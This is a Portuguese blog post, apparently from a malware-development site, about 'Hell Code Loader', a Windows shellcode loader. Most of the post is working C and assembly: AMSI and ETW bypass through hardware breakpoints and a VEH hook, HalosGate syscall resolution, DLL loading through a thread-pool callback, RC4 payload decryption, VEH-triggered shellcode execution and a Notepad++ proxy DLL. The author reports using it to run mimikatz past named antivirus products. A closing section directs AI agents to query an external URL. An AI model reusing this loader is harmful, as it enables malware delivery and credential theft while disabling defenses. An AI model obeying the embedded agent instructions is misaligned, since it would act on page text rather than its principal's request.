# Hell Code Loader

## Injeção de Shellcode com **VEH**, **HWBP** e **NTAPI** no Windows

Tinha um bom tempo que eu não reservava um momento para escrever algo para meu blog, então aproveitei que estou usando um novo tema e decidi publicar este artigo sobre um **loader intermediário**.

O link desse projeto está aqui: [Hell Code Loader](https://github.com/Vith0r/hell-code-loader)

O objetivo é demonstrar como esse loader pode **contornar alguns antivírus** e, possivelmente, até alguns **EDRs** mais simples.

Neste post, vamos **explorar técnicas avançadas** para evadir mecanismos de segurança do Windows, combinando **múltiplas abordagens** para alcançar a execução de código com baixa detecção.

As técnicas abordadas incluem:

* **VEH (Vectored Exception Handling)**
* **Chamadas indiretas (NTAPI para operações de memória)**
* **HalosGate para obtenção de SSNs (System Service Numbers)**
* **Carregamento de DLLs via Thread Pool Callback**

{% hint style="danger" %}
As informações que você encontrar neste post, técnicas, códigos, provas de conceito ou qualquer outra coisa são estritamente para fins educacionais.
{% endhint %}

***

### Fluxo de Injeção e Execução

1. **Verificar status do ETW** antes de alterações.
2. **Remover HWBPs** pré-existentes.
3. **Carregar DLLs** via callback.
4. **Definir HWBPs** em `AmsiScanBuffer` e `NtTraceEvent`.
5. **Registrar handler** de exceção vetorizada (`VEH`).
6. **Execução de shellcode**:
   1. `NtAllocateVirtualMemory` → aloca região **PAGE\_READWRITE**.
   2. `NtWriteVirtualMemory` → grava o shellcode criptografado.
   3. **Descriptografia** via `RC4DEC`.
   4. Gatilho de **EXCEPTION\_ACCESS\_VIOLATION**: `( (void(*)()) shellcodeMemory)();`

***

#### Implementando o HWBP Engine

Neste projeto, vamos utilizar **breakpoints de hardware** para aplicar um patch na **AMSI** e **ETW**. Na minha experiência, essa técnica ainda é eficaz contra a maioria dos mecanismos de detecção usados por soluções **AV/EDR**.

{% hint style="info" %}
Nota! No entanto, é importante destacar que isso pode mudar a qualquer momento com o surgimento de novas abordagens de detecção.
{% endhint %}

Recentemente, alguns fornecedores começaram a implementar detecções baseadas em **ETWti**, utilizando chamadas como **SetThreadContext**, conforme detalhado neste [artigo](https://www.praetorian.com/blog/etw-threat-intelligence-and-hardware-breakpoints/).

O **Hardware Breakpoint Engine** (HWBP) permite definir breakpoints de hardware em pontos de interesse (por exemplo, `AmsiScanBuffer` e `NtTraceEvent`). Utilizamos:

```c
extern NTSTATUS NtGetContextThread(HANDLE, PCONTEXT);
extern NTSTATUS NtSetContextThread(HANDLE, PCONTEXT);

BOOL HwbpEngineBreakpoint(ULONG pos, PVOID func) {
    CONTEXT ctx = {0};
    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
    NtGetContextThread(GetCurrentThread(), &ctx);

    if (func) {
        ((PULONG_PTR)&ctx.Dr0)[pos] = (ULONG_PTR)func;
        ctx.Dr7 |= 1ULL << (2 * pos);
    } else {
        // Remove breakpoint
        ((PULONG_PTR)&ctx.Dr0)[pos] = 0;
        ctx.Dr7 &= ~(1ULL << (2 * pos));
    }

    return NT_SUCCESS(NtSetContextThread(GetCurrentThread(), &ctx));
}
```

* **Dr0–Dr3**: endereços de breakpoint.
* **Dr7**: controle de habilitação.

***

#### Evasão de AMSI/ETW via Breakpoints de Hardware

Ao definir breakpoints em:

* `AmsiScanBuffer` (função em `amsi.dll`)
* `NtTraceEvent` (função em `ntdll.dll`)

podemos interceptar o **EXCEPTION\_SINGLE\_STEP** e forçar um retorno de sucesso:

```c
LONG CALLBACK HwbpEngineHandler(PEXCEPTION_POINTERS info) {
    PEXCEPTION_RECORD rec = info->ExceptionRecord;
    PCONTEXT ctx = info->ContextRecord;

    if (rec->ExceptionCode == EXCEPTION_SINGLE_STEP) {
        if (rec->ExceptionAddress == amsiAddr) {
            // Força AmsiScanBuffer a retornar S_OK
            ULONG_PTR ret = *(ULONG_PTR*)ctx->Rsp;
            *(ULONG*) (ctx->Rsp + 6 * sizeof(PVOID)) = 0;
            ctx->Rip = ret;
            return EXCEPTION_CONTINUE_EXECUTION;
        }
        if (rec->ExceptionAddress == etwAddr) {
            // Força NtTraceEvent a retornar STATUS_SUCCESS
            ctx->Rip = *(ULONG_PTR*)ctx->Rsp;
            ctx->Rax = STATUS_SUCCESS;
            return EXCEPTION_CONTINUE_EXECUTION;
        }
    }
    return EXCEPTION_CONTINUE_SEARCH;
}
```

**Exemplo de uso:**

```c
// Definindo breakpoints
HwbpEngineBreakpoint(0, amsiAddr);
HwbpEngineBreakpoint(1, etwAddr);
ExceptionHandle = AddVectoredExceptionHandler(1, HwbpEngineHandler);
```

***

#### HalosGate: Obtendo SSNs (Syscall Service Number)

Para obter **Syscall Service Numbers** `(SSNs)` mesmo quando as APIs da **NTDLL** estão `hookadas` vamos utilizar de base o projeto [AsmHalosGate](https://github.com/boku7/AsmHalosGate) que implementa:

1. **Resolução de Endereços**:
   * Obtém o endereço base da NTDLL
   * Localiza a tabela de exportação
   * Encontra os endereços das APIs necessárias
2. **Obtenção de SSNs**:
   * Usa `halosGateUp` e `halosGateDown` para encontrar SSNs válidos
   * Mantém os SSNs em variáveis globais para uso posterior

```c
void getSyscallInfo(char* apiName, char* apiNameStr, DWORD* SSN, PBYTE* addr) {
    *addr = (PBYTE)getApiAddr((DWORD)strlen(apiNameStr), apiNameStr, ntdll, 
                             ntdllExAddrTbl, ntdllExNamePtrTbl, ntdllExOrdinalTbl);
    
    *SSN = findSyscallNumber(*addr);
    if (*SSN == 0) {
        DWORD index = 0;
        while (*SSN == 0) {
            index++;
            *SSN = halosGateUp(*addr, (WORD)index);
            if (*SSN) {
                *SSN = *SSN - index;
                break;
            }
            *SSN = halosGateDown(*addr, (WORD)index);
            if (*SSN) {
                *SSN = *SSN + index;
                break;
            }
        }
    }
}
```

{% hint style="info" %}
Nota! Embora o código não seja perfeito e possa, ocasionalmente, ocorrer erros na obtenção de SSNs, esses problemas podem ser rapidamente solucionados.
{% endhint %}

***

#### Carregamento de DLL via Thread Pool Callback (TpAllocWork)

Visão Geral da Abordagem

1. **Resolver** o endereço de **`LoadLibraryA`** em **`kernel32.dll`** usando `GetProcAddress`.
2. **Recuperar** os ponteiros para **`TpAllocWork`**, **`TpPostWork`** e **`TpReleaseWork`** em **`ntdll.dll`**.
3. **Alocar** um trabalho (`TP_WORK`) na thread pool com `TpAllocWork`, passando um callback em **assembly** que fará um **tail-call** para `LoadLibraryA`, usando o nome da DLL como `Context`.
4. **Publicar** o trabalho com `TpPostWork` e **liberar** o objeto com `TpReleaseWork`.
5. **Aguardar** a execução do callback para garantir que a DLL foi carregada.

{% hint style="info" %}
Nota! Para saber mais sobre o **Thread Pool** do Windows, consulte a documentação oficial: [MSDN Thread Pools](https://learn.microsoft.com/windows/win32/procthread/thread-pools).
{% endhint %}

***

#### Implementação em C/C++

```c
#include <windows.h>
#include <stdio.h>

static FARPROC g_pLoadLibraryA = NULL;

UINT_PTR getLoadLibraryA() {
    return (UINT_PTR)g_pLoadLibraryA;
}

VOID CALLBACK WorkCallback(PTP_CALLBACK_INSTANCE Instance,
                           PVOID Context,
                           PTP_WORK Work);

HMODULE LoadLibraryViaCallback(const char* libName) {
    FARPROC pLoadLibraryA = GetProcAddress(
        GetModuleHandleA("kernel32.dll"), "LoadLibraryA"
    );
    FARPROC pTpAllocWork   = GetProcAddress(GetModuleHandleA("ntdll.dll"), "TpAllocWork");
    FARPROC pTpPostWork    = GetProcAddress(GetModuleHandleA("ntdll.dll"), "TpPostWork");
    FARPROC pTpReleaseWork = GetProcAddress(GetModuleHandleA("ntdll.dll"), "TpReleaseWork");

    if (!pLoadLibraryA || !pTpAllocWork || !pTpPostWork || !pTpReleaseWork) {
        printf("[-] Falha ao obter funções necessárias.\n");
        return NULL;
    }

    g_pLoadLibraryA = pLoadLibraryA;

    typedef NTSTATUS (NTAPI *TPALLOCWORK)(PTP_WORK*, PTP_WORK_CALLBACK, PVOID, PTP_CALLBACK_ENVIRON);
    typedef VOID     (NTAPI *TPPOSTWORK)(PTP_WORK);
    typedef VOID     (NTAPI *TPRELEASEWORK)(PTP_WORK);

    TPALLOCWORK   TpAllocWork   = (TPALLOCWORK)pTpAllocWork;
    TPPOSTWORK    TpPostWork    = (TPPOSTWORK)pTpPostWork;
    TPRELEASEWORK TpReleaseWork = (TPRELEASEWORK)pTpReleaseWork;

    PTP_WORK work = NULL;
    NTSTATUS status = TpAllocWork(&work, WorkCallback, (PVOID)libName, NULL);
    if (status != 0) {
        printf("[-] TpAllocWork falhou: 0x%lX\n", status);
        return NULL;
    }

    TpPostWork(work);
    TpReleaseWork(work);
    Sleep(1000);

    return GetModuleHandleA(libName);
}
```

#### Callback em Assembly (x64)

```asm
.code
PUBLIC WorkCallback
EXTERN getLoadLibraryA:PROC

WorkCallback PROC
    mov rcx, rdx
    xor rdx, rdx
    call getLoadLibraryA
    jmp rax
WorkCallback ENDP
```

***

#### Descriptografia RC4

Bom, quem já viu minhas postagens anteriores sabe que não adianta, vou continuar utilizando essa **bomba**, por isso, acho que não tenho mais nada a acrescentar. 😂

```c
typedef struct _USTRING {
    ULONG Length;
    ULONG MaximumLength;
    PWSTR Buffer;
} USTRING;

typedef LONG NTSTATUS;

typedef NTSTATUS(NTAPI* fnSystemFunction032)(
    USTRING* Img,
    USTRING* Key
    );

BOOL RC4DEC(IN PBYTE pRc4Key, IN PBYTE pPayloadData, IN DWORD dwRc4KeySize, IN DWORD sPayloadSize) {
	NTSTATUS STATUS;
	USTRING Key = { dwRc4KeySize, dwRc4KeySize, (PWSTR)pRc4Key };
	USTRING Img = { sPayloadSize, sPayloadSize, (PWSTR)pPayloadData };
	char a_dll_name[] = "Advapi32.dll";
	char NotSysFunc32[] = "SystemFunction032";

	HMODULE hModule = LoadLibraryViaCallback(a_dll_name);
	if (hModule) {
		printf("[+] %s carregada via callback: %p\n", a_dll_name, hModule);
	}
	else {
		printf("[-] Falha ao carregar %s via callback.\n", a_dll_name);
		return FALSE;
	}

	fnSystemFunction032 SystemFunction032 = (fnSystemFunction032)GetProcAddress(hModule, NotSysFunc32);
	if (!SystemFunction032) {
		return FALSE;
	}

	STATUS = SystemFunction032(&Img, &Key);
	if (STATUS != 0x0) {
		return FALSE;
	}
	return TRUE;
}
```

#### Ofuscação de Strings básico

Para evitar detecção por assinaturas de strings, implementamos:

1. **Strings "Fragmentadas"**:

```c
char NotNtAllocateVirtualMemoryName[] = { 
    'N', 't', 'A', 'l', 'l', 'o', 'c', 'a', 't', 'e', 
    'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y', 0 
};
```

{% hint style="info" %}
Dica! Esta técnica "ajuda" a evitar detecção por scanners de strings estáticas, mas não é infalível! ainda mais contra uma análise dinâmica.
{% endhint %}

***

#### Mecanismo de Descriptografia RC4 básico

O shellcode é descriptografado usando RC4 básico para evitar detecção estática. O processo de descriptografia envolve:

1. **Primeira Camada de Descriptografia**:

```c
    DWORD dwKeySize = sizeof(KeyOuter);
    if (!RC4DEC(KeyOuter, shellcodeMemory, dwKeySize, (DWORD)bytesWritten)) {
        printf("[-] Error decrypting the first layer\n");
        return;
    }
```

2. **Dupla Camada de Descriptografia**:

```c
    DWORD dw2KeySize = sizeof(decryptionkey);
    if (!DoubleRC4Decrypt(decryptionkey, shellcodeMemory, dw2KeySize, (DWORD)bytesWritten)) {
        printf("[-] Error decrypting the second layer\n");
        return;
    }
```

3. **Descriptografia**:

* O shellcode só é descriptografado em memória

***

#### Configurando o VEH Handler

Vamos utilizar o mecanismo de **VEH** para iniciar a **thread** do nosso shellcode.

Evitando assim o uso de métodos mais tradicionais, como `NtCreateThreadEx` ou `Queue/APC`.

O [**VEH (Vectored Exception Handler)**](https://learn.microsoft.com/en-us/windows/win32/debug/vectored-exception-handling) será configurado para capturar exceções do tipo `EXCEPTION_ACCESS_VIOLATION`, que vai ocorrer ao tentar executar uma região de memória marcada como [não-executável](https://learn.microsoft.com/pt-br/windows/win32/memory/memory-protection-constants).

Quando a exceção for gerada, redirecionamos manualmente o registrador **RIP** para o endereço onde o shellcode foi previamente alocado.

Essa abordagem permite executar o shellcode de forma mais "furtiva", explorando o fluxo "natural" de exceções do processo:

<div align="center"><img src="https://i.imgur.com/Az2Ns6t.png" alt="msg"></div>

```c
LONG CALLBACK VehHandler(PEXCEPTION_POINTERS info) {
    if (info->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION && !executed) {
        SIZE_T size = shellcodeSize;
        // Altera PAGE_READWRITE para PAGE_EXECUTE_READ
        NtProtectVirtualMemory(GetCurrentProcess(), &shellcodeMemory, &size, PAGE_EXECUTE_READ, &oldProt);
        // Redireciona RIP para o shellcode
        info->ContextRecord->Rip = (DWORD64) shellcodeMemory;
        executed = TRUE;
        RemoveVectoredExceptionHandler(handlerHandle);
        return EXCEPTION_CONTINUE_EXECUTION;
    }
    return EXCEPTION_CONTINUE_SEARCH;
}
```

E registramos:

```c
handlerHandle = AddVectoredExceptionHandler(1, VehHandler);
```

{% hint style="danger" %}
Aviso! EDRs avançados conseguem detectar uso abusivo de **breakpoints de hardware** e **VEH**.
{% endhint %}

***

### Testes do loader contra AV/EDR

Vou realizar a execução do [mimikatz](https://github.com/ParrotSec/mimikatz) convertido para shellcode, utilizando o projeto [donut](https://github.com/TheWover/donut).

Lembre-se de desativar o bypass **AMSI/WLDP/ETW** do **donut** caso queira fazer uso desse projeto, senão ele será facilmente detectado!"<br>

| Antivírus                                                    | Ranking dos "Melhores" | Prêmios e Reconhecimentos 2024                                               |
| ------------------------------------------------------------ | ---------------------- | ---------------------------------------------------------------------------- |
| [ESET HOME Security Essential](https://www.eset.com/)        | 🥇 1º lugar            | 🏆 Produto do Ano 2024 pela AV-Comparatives                                  |
| [Sophos Endpoint](https://www.sophos.com)                    | 🥈 2º lugar            | 🏆 Approved Enterprise & Business Security Product 2024 pela AV-Comparatives |
| [Bitdefender Endpoint Security](https://www.bitdefender.com) | 🥉 3º lugar            | 🏆 Approved Enterprise & Business Security Product 2024 pela AV-Comparatives |
| [Trend Micro Max Security](https://www.trendmicro.com)       | 4º lugar               | 🏆 Top-Rated Product 2024 pela AV-Comparatives                               |
| [Bitdefender Total Security](https://www.bitdefender.com)    | 5º lugar               | 🏆 Top-Rated Product 2024 pela AV-Comparatives                               |
| [Avira Antivirus Pro](https://www.avira.com)                 | 6º lugar               | 🏆 Approved Security Product 2024 pela AV-Comparatives                       |
| [Malwarebytes Standard](https://www.malwarebytes.com)        | 7º lugar               | 🏆 Approved Security Product 2024 pela AV-Comparatives                       |
| [TotalAV](https://www.totalav.com)                           | 8º lugar               | 🏆 Approved Security Product 2024 pela AV-Comparatives                       |
| [F-Secure Anti-Virus](https://www.f-secure.com)              | 9º lugar               | 🏆 Approved Security Product 2024 pela AV-Comparatives                       |

{% hint style="danger" %}
Ranking baseado em premiações independentes (AV-Comparatives 2024) e reputação no mercado em 2024.
{% endhint %}

***

{% embed url="<https://www.youtube.com/embed/4EGTEp_hLz0>" %}

### Loader + Dll Proxy

Bom, quando executei o loader no **Bitdefender Total Security** e no **Bitdefender Endpoint Security**, ele foi detectado. Então, decidi tentar realizar o proxy de DLL no **Notepad++** como mostrei em outras postagens. Fiz apenas isso e contornou a detecção.

{% embed url="<https://www.youtube.com/embed/K0fJ3RusIb8>" %}

***

#### Código para realizar o proxy de dll no Notepad++

```c
#define _CRT_SECURE_NO_DEPRECATE
#pragma warning(disable : 4996)

#pragma comment(linker, "/export:beNotified=Dlloriginal.beNotified,@1")
#pragma comment(linker, "/export:getFuncsArray=Dlloriginal.getFuncsArray,@2")
#pragma comment(linker, "/export:getName=Dlloriginal.getName,@3")
#pragma comment(linker, "/export:isUnicode=Dlloriginal.isUnicode,@4")
#pragma comment(linker, "/export:messageProc=Dlloriginal.messageProc,@5")
#pragma comment(linker, "/export:setInfo=Dlloriginal.setInfo,@6")
```

```c
void OpenDebugConsole(void) {
    if (AllocConsole()) {
        freopen_s((FILE**)stdout, "CONOUT$", "w", stdout);
        freopen_s((FILE**)stderr, "CONOUT$", "w", stderr);
        freopen_s((FILE**)stdin, "CONIN$", "r", stdin);
        SetConsoleTitleA("Notepad++ Proxy Console");
    }
}

DWORD WINAPI DoMagic(LPVOID lpParameter) {
    OpenDebugConsole();
    printf("[+] Proxy-DLL carregada em Notepad++\n");
    H3ll();
    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved)
{
    HANDLE threadHandle;
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        threadHandle = CreateThread(
            NULL,
            0,
            DoMagic,
            NULL,
            0,
            NULL
        );
        if (threadHandle) CloseHandle(threadHandle);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
```

***

### Finalização

Bom, gostei bastante de fazer esse projetinho no meu tempo livre. Acho que ainda não perdi o jeito de escrever esses “papers” pouco profissionais e documentados, mas não ligo. continuo gostando de fazer isso. Então, é isso. nos vemos na próxima postagem, espero que seja melhor do que essa.

<figure><img src="https://i.pinimg.com/originals/1f/45/77/1f457790afff072bfa007851defd44c6.gif" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://vith0r.gitbook.io/public/malware-dev/posts/injecao-de-processo/hell-code-loader.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
